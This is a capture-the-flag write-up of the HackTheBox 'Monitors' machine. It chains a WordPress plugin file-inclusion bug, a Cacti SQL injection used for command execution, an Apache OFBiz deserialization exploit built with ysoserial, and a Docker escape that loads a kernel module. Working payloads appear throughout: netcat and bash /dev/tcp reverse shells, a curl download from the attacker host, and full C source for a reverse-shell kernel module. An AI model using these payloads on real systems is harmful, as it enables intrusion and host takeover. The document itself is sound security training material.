HTB: Monitors Writeup

Monitors - HackTheBox Writeup

Machine Information

AttributeDetails
NameMonitors
OSLinux
DifficultyHard
Points40
Release Date10 Apr 2021
IP Address10.129.44.113
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Monitors is a hard Linux machine that demonstrates a realistic attack chain involving web application vulnerabilities, service enumeration, Java deserialization, and container escape techniques. The initial foothold is gained through a Local File Inclusion (LFI) vulnerability in a WordPress plugin that leads to credential discovery and access to a Cacti network monitoring instance. From there, a SQL injection vulnerability (CVE-2020-14295) in Cacti 1.2.12 is chained with command injection to achieve remote code execution. User escalation is accomplished through password discovery in service configuration files. The privilege escalation to root involves exploiting a Java XML-RPC deserialization vulnerability (CVE-2020-9496) in Apache OFBiz running inside a Docker container, followed by a container escape via the CAP_SYS_MODULE capability, which allows loading a malicious kernel module to execute code in the host context.

TL;DR: WordPress LFI → Cacti credentials → CVE-2020-14295 SQL injection to RCE → www-data shell → service config password reuse → SSH as marcus → CVE-2020-9496 Java deserialization → root in Docker → CAP_SYS_MODULE kernel module escape → root on host


Reconnaissance

Port Scanning

Terminal window
# Initial port discovery
nmap -sC -sV -T4 -p- 10.129.44.113

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache/2.4.29 (Ubuntu)

The scan revealed two open ports:

  • SSH (22): OpenSSH 7.6p1 - standard service, likely not the initial vector
  • HTTP (80): Apache 2.4.29 - primary attack surface

Service Enumeration

Web Server (Port 80)

Attempting to access the server via direct IP resulted in an error message:

Sorry, direct IP access is not allowed.
If you are having issues accessing the site then contact the website administrator:
admin@monitors.htb

The error message disclosed the domain monitors.htb. After adding this to /etc/hosts:

Terminal window
# Add virtual host to hosts file
echo "10.129.44.113 monitors.htb" | sudo tee -a /etc/hosts

Browsing to http://monitors.htb revealed a WordPress site. Footer analysis confirmed the WordPress installation.

WordPress Enumeration

Terminal window
# Scan for WordPress plugins and vulnerabilities
wpscan --url http://monitors.htb --enumerate p

The scan identified the wp-with-spritz plugin installed at /wp-content/plugins/wp-with-spritz/.

Vulnerability Assessment

  1. WordPress Plugin LFI (wp-with-spritz): The plugin contains a Local File Inclusion vulnerability in wp.spritz.content.filter.php via the url parameter, allowing arbitrary file read access.

  2. Cacti 1.2.12 SQL Injection (CVE-2020-14295): The discovered Cacti installation is vulnerable to authenticated SQL injection in the color.php page’s filter parameter.

  3. Apache OFBiz 17.12.01 Java Deserialization (CVE-2020-9496): The internal OFBiz service is vulnerable to XML-RPC deserialization attacks.

  4. Docker CAP_SYS_MODULE Capability: The Docker container running OFBiz has the dangerous CAP_SYS_MODULE capability, allowing kernel module loading against the host.


Initial Foothold

WordPress Plugin LFI Exploitation

The wp-with-spritz plugin is vulnerable to Local File Inclusion through the url parameter. This can be exploited to read arbitrary files from the system:

Terminal window
# Test LFI with /etc/passwd
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/passwd"

The LFI worked, confirming we can read any file the www-data user has access to. The next step was to enumerate Apache configuration files to discover additional virtual hosts:

Terminal window
# Read Apache default configuration
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-enabled/000-default.conf"

This revealed references to multiple virtual host configuration files. Reading the monitors.htb configuration:

Terminal window
# Read monitors.htb Apache config
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-enabled/monitors.htb.conf"

The configuration showed the document root at /var/www/wordpress. WordPress stores database credentials in wp-config.php, so we read that file:

Terminal window
# Extract WordPress database credentials
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../var/www/wordpress/wp-config.php"

Credentials discovered: wpadmin:BestAdministrator@2020!

These credentials did not work for WordPress admin login, suggesting they might be reused elsewhere.

Cacti Virtual Host Discovery

Reading the Apache virtual host configurations revealed another subdomain:

Terminal window
# Read Cacti admin vhost config
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-enabled/cacti-admin.monitors.htb.conf"

The configuration disclosed:

  • ServerName: cacti-admin.monitors.htb
  • DocumentRoot: /usr/share/cacti
Terminal window
# Add Cacti subdomain to hosts file
echo "10.129.44.113 cacti-admin.monitors.htb" | sudo tee -a /etc/hosts

Cacti Authentication

Browsing to http://cacti-admin.monitors.htb presented a Cacti login page showing version 1.2.12.

Testing the previously discovered credentials:

  • Username: admin
  • Password: BestAdministrator@2020!

Authentication successful! We now had access to the Cacti administrative interface.

CVE-2020-14295: Cacti SQL Injection to RCE

Cacti 1.2.12 is vulnerable to CVE-2020-14295, an authenticated SQL injection vulnerability in the color.php page. The vulnerability exists in the filter parameter when exporting colors. More critically, this SQL injection can be chained with a configuration update to achieve Remote Code Execution.

Attack mechanism:

  1. The SQL injection allows us to UPDATE the settings table
  2. We can modify the path_php_binary setting to inject our command
  3. When we trigger /cacti/host.php?action=reindex, Cacti executes the value in path_php_binary

First, test command execution with a ping:

Terminal window
# Start tcpdump to capture ICMP packets
sudo tcpdump -i tun0 icmp

Craft the SQL injection payload to inject a ping command:

GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='ping+-c+3+10.10.14.2;'+where+name='path_php_binary';--+- HTTP/1.1
Host: cacti-admin.monitors.htb
Cookie: [session_cookie]

Explanation:

  • filter=1') closes the original SQL query
  • UNION SELECT retrieves data from user_auth table (not necessary but keeps query valid)
  • update settings set value='ping -c 3 10.10.14.2;' injects our command into the PHP binary path
  • where name='path_php_binary' targets the specific setting
  • --+- comments out the rest of the query

After sending this payload, trigger execution:

Terminal window
# Trigger the reindex action to execute our injected command
curl "http://cacti-admin.monitors.htb/cacti/host.php?action=reindex"

The tcpdump listener received three ICMP packets, confirming remote code execution.

Gaining a Shell

With RCE confirmed, we can now get a reverse shell. Set up a listener:

Terminal window
# Start netcat listener
nc -lvnp 4444

Inject a reverse shell payload:

GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.2+4444+>/tmp/f;'+where+name='path_php_binary';--+- HTTP/1.1
Host: cacti-admin.monitors.htb
Cookie: [session_cookie]

Note: Due to caching in Cacti, it may be necessary to log out and log back in with fresh session cookies for the new payload to take effect.

After relogging and sending the payload, trigger execution:

Terminal window
# Trigger reverse shell execution
curl "http://cacti-admin.monitors.htb/cacti/host.php?action=reindex"

Shell received as www-data!

Terminal window
# Upgrade to a proper PTY
python3 -c 'import pty; pty.pty.spawn("/bin/bash")'
# Press Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Privilege Escalation

Privilege Escalation: www-data → marcus

With a shell as www-data, enumeration focused on finding credentials or misconfigurations.

Terminal window
# Enumerate systemd service files
find /etc/systemd -type f -readable 2>/dev/null

An interesting service was discovered:

Terminal window
# Read the Cacti backup service configuration
cat /etc/systemd/system/cacti-backup.service

The service file referenced a script at /home/marcus/.backup/backup.sh:

Terminal window
# Read the backup script
cat /home/marcus/.backup/backup.sh

The script contained hardcoded credentials:

Terminal window
# Backup script excerpt showing password
config_pass="VerticalEdge2020"

The password VerticalEdge2020 likely belonged to the user marcus. Testing SSH access:

Terminal window
# SSH as marcus
ssh marcus@10.129.44.113
# Password: VerticalEdge2020

SSH login successful!

Terminal window
# Retrieve user flag
marcus@monitors:~$ cat user.txt
<redacted>

Privilege Escalation: marcus → root

Internal Service Discovery

Terminal window
# Check for services listening on localhost
marcus@monitors:~$ ss -tlnp

Output showed Apache OFBiz listening on 127.0.0.1:8443 - an internal service not accessible externally.

Terminal window
# Forward port 8443 to local machine for analysis
ssh -L 8443:127.0.0.1:8443 marcus@10.129.44.113

Browsing to https://127.0.0.1:8443 locally showed a 404, but directory enumeration revealed /content:

Terminal window
# Directory bruteforce
ffuf -w /usr/share/wordlists/dirb/common.txt -u https://127.0.0.1:8443/FUZZ -k

Navigating to https://127.0.0.1:8443/content revealed Apache OFBiz 17.12.01.

CVE-2020-9496: Apache OFBiz XML-RPC Deserialization

Apache OFBiz 17.12.01 is vulnerable to CVE-2020-9496, a Java deserialization vulnerability in the XML-RPC interface at /webtools/control/xmlrpc.

Vulnerability details:

  • The XML-RPC endpoint accepts serialized Java objects in base64 format
  • By crafting a malicious payload with ysoserial, we can achieve remote code execution
  • The CommonsBeanutils1 gadget chain works for this version

Exploitation steps:

  1. Generate a payload to download our shell script:
# Create reverse shell script
cat > bash.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.2/4444 0>&1
EOF
# Start HTTP server to host the script
python3 -m http.server 80
  1. Generate ysoserial payload to download the script:
Terminal window
# Generate payload - download script
java -jar ysoserial.jar CommonsBeanutils1 "curl 10.10.14.2/bash.sh -o /tmp/bash.sh" | base64 | tr -d "\n"

Note: For modern Java versions (JDK 17+), you may need additional flags:

Terminal window
# For JDK 17+ compatibility
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens java.base/java.net=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
-jar ysoserial.jar CommonsBeanutils1 "curl 10.10.14.2/bash.sh -o /tmp/bash.sh" | base64 | tr -d "\n"
  1. Send the payload via XML-RPC:
POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/xml
Content-Length: [calculated]
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
[BASE64_PAYLOAD_HERE]
</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

The HTTP server confirmed the script was downloaded.

  1. Generate and send payload to make script executable:
Terminal window
# Generate payload - chmod
java -jar ysoserial.jar CommonsBeanutils1 "chmod 777 /tmp/bash.sh" | base64 | tr -d "\n"
# Send via same XML-RPC POST request structure
  1. Generate and send final payload to execute the script:
Terminal window
# Start netcat listener
nc -lvnp 4444
# Generate payload - execute
java -jar ysoserial.jar CommonsBeanutils1 "bash -c /tmp/bash.sh" | base64 | tr -d "\n"
# Send via same XML-RPC POST request structure

Shell received as root inside the Docker container!

Terminal window
# Check environment
root@monitors:/usr/src/apache-ofbiz-17.12.01# hostname
[docker_container_id]
root@monitors:/usr/src/apache-ofbiz-17.12.01# ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 [date] /.dockerenv

We have root inside the container, but need to escape to the actual host system.

Docker Escape via CAP_SYS_MODULE

Terminal window
# Check container capabilities
root@monitors:/# capsh --print

Output showed the container has CAP_SYS_MODULE capability:

Current: = cap_chown,cap_dac_override,cap_fowner,...,cap_sys_module,...+ep

CAP_SYS_MODULE allows loading kernel modules. Since containers share the host kernel, we can load a malicious kernel module that will execute in the host context, not the container!

Kernel module exploitation steps:

  1. Check host kernel version:
Terminal window
# Verify kernel version
root@monitors:/# uname -r
4.15.0-151-generic
# Confirm kernel headers are available
root@monitors:/# ls /lib/modules/
4.15.0-151-generic
  1. Create malicious kernel module source code:
// reverse-shell.c - Malicious kernel module for container escape
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Monitors Exploit");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
// Command to execute: reverse shell to our listener
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.2/4444 0>&1", NULL};
// Set PATH so the command can find necessary binaries
static char* envp[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// Module initialization - runs when module is loaded
static int __init reverse_shell_init(void) {
// call_usermodehelper executes a userspace program from kernel context
// UMH_WAIT_EXEC makes it wait for exec to complete
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
// Module cleanup - runs when module is unloaded
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
// Register our init and exit functions
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

How this works:

  • Kernel modules run in kernel space with full privileges
  • call_usermodehelper() is a kernel function that spawns a userspace process
  • When we load this module with insmod, it will execute our reverse shell command
  • Since the container shares the host kernel, this code runs on the host, not in the container
  1. Create Makefile to compile the module:
# Makefile for kernel module compilation
obj-m += reverse-shell.o
all:
make -C /lib/modules/4.15.0-151-generic/build M=$(shell pwd) modules
clean:
make -C /lib/modules/4.15.0-151-generic/build M=$(shell pwd) clean
  1. Compile the kernel module:
Terminal window
# Initial compilation attempt
root@monitors:/tmp# make

If scripts/basic/fixdep is missing, copy it from the kernel headers:

Terminal window
# Find fixdep binary
root@monitors:/tmp# find /lib/modules -name fixdep 2>/dev/null
/lib/modules/4.15.0-151-generic/build/tools/objtool/fixdep
# Create necessary directory structure
root@monitors:/tmp# mkdir -p scripts/basic
# Copy fixdep to expected location
root@monitors:/tmp# cp /lib/modules/4.15.0-151-generic/build/tools/objtool/fixdep scripts/basic/
# Compile again
root@monitors:/tmp# make

Successful compilation produces reverse-shell.ko.

  1. Load the malicious kernel module:
Terminal window
# On our attack machine, start listener for the HOST shell
nc -lvnp 4444
# In the Docker container, load the kernel module
root@monitors:/tmp# insmod reverse-shell.ko

The insmod command loads the module into the shared kernel, executing our reverse shell code in the host context!

Terminal window
# Listener receives connection
Connection from 10.129.44.113:45678
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@monitors:/# whoami
root
root@monitors:/# hostname
monitors
# Verify we're on the host, not in container
root@monitors:/# ls -la /.dockerenv
ls: cannot access '/.dockerenv': No such file or directory
root@monitors:/# cat /root/root.txt
<redacted>

Root shell on the host system achieved!


Attack Chain Summary

Port 80 (WordPress) → LFI in wp-with-spritz plugin → Read Apache configs →
Discover cacti-admin.monitors.htb → Read wp-config.php for credentials →
Login to Cacti 1.2.12 as admin → CVE-2020-14295 SQL injection →
Chain with settings UPDATE for RCE → www-data shell →
Enumerate systemd services → Find password in /home/marcus/.backup/backup.sh →
SSH as marcus (user.txt) → Discover Apache OFBiz on localhost:8443 →
Port forward via SSH → CVE-2020-9496 Java XML-RPC deserialization →
Root shell in Docker container → Enumerate capabilities →
CAP_SYS_MODULE present → Compile malicious kernel module →
insmod to load module → call_usermodehelper executes in host context →
Root shell on host (root.txt)

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP requests and LFI exploitation
wpscanWordPress enumeration
tcpdumpICMP packet capture for RCE verification
sshRemote access and port forwarding
ysoserialJava deserialization payload generation
gcc / makeKernel module compilation
capshCapability enumeration
insmodKernel module loading
ncReverse shell listener

Key Learnings

Techniques Practiced

  • Local File Inclusion (LFI) to configuration disclosure: Using LFI to read Apache virtual host configurations and discover additional attack surfaces
  • Credential reuse across services: Found credentials in WordPress config that worked for Cacti admin
  • SQL injection to RCE chaining: Leveraging SQLi to modify application settings and achieve command execution
  • Java deserialization attacks: Crafting ysoserial payloads with appropriate gadget chains for specific Java versions
  • XML-RPC exploitation: Understanding serialized object injection through XML-RPC interfaces
  • Container capability abuse: Exploiting CAP_SYS_MODULE to load kernel modules from within a container
  • Kernel module development: Creating and compiling Linux kernel modules for privilege escalation
  • Container escape techniques: Using shared kernel functionality to break out of Docker containers

Lessons Learned

  1. Always enumerate virtual hosts: The LFI vulnerability became much more valuable once we discovered the hidden Cacti subdomain through Apache configuration files. Direct IP access blocking is a hint that multiple vhosts exist.

  2. Read service configuration files during enumeration: The password in /home/marcus/.backup/backup.sh was easily missed but crucial. Service files in /etc/systemd/ often reference scripts with hardcoded credentials.

  3. Port forwarding for internal services: Services listening on 127.0.0.1 are common on hardened systems. SSH port forwarding (ssh -L) allows full interaction with these services as if they were local.

  4. Java deserialization requires version awareness: Modern Java (JDK 17+) requires specific --add-opens flags for ysoserial payloads to work. Always check Java version and adjust exploitation accordingly.

  5. Container capabilities are critical security boundaries: CAP_SYS_MODULE is essentially equivalent to full root on the host since kernel modules execute in kernel space. Containers with this capability are only weakly isolated from the host.

  6. call_usermodehelper() bridges kernel and userspace: This kernel function is powerful for privilege escalation because it spawns processes from kernel context, inheriting full privileges regardless of the calling container’s namespace restrictions.

  7. Shared kernel = shared attack surface: Containers are not VMs - they share the host kernel. Any capability that allows kernel interaction (like loading modules) can be leveraged to escape the container entirely.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup drew technical context and vulnerability explanations from the official HackTheBox writeup for Monitors (Document No D21.100.135, prepared by TheCyberGeek, 4th October 2021). All commands, outputs, IP addresses, and specific values are from the live machine solve documented above.